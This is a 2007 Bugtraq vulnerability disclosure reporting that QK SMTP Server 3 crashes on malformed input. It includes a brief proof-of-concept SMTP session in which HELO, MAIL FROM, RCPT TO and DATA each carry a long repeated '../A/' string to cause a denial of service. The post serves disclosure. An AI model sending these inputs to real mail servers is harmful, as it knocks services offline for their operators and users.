bugtraq - QK SMTP Server 3 - Denial of service

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Message-ID: <20071212223954.16693.qmail@securityfocus.com>
Date: 12 Dec 2007 22:39:54 -0000
From: jplopezy@...il.com
To: bugtraq@...urityfocus.com
Subject: QK SMTP Server 3 - Denial of service

Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.

Proof-of-concept

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
.

Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/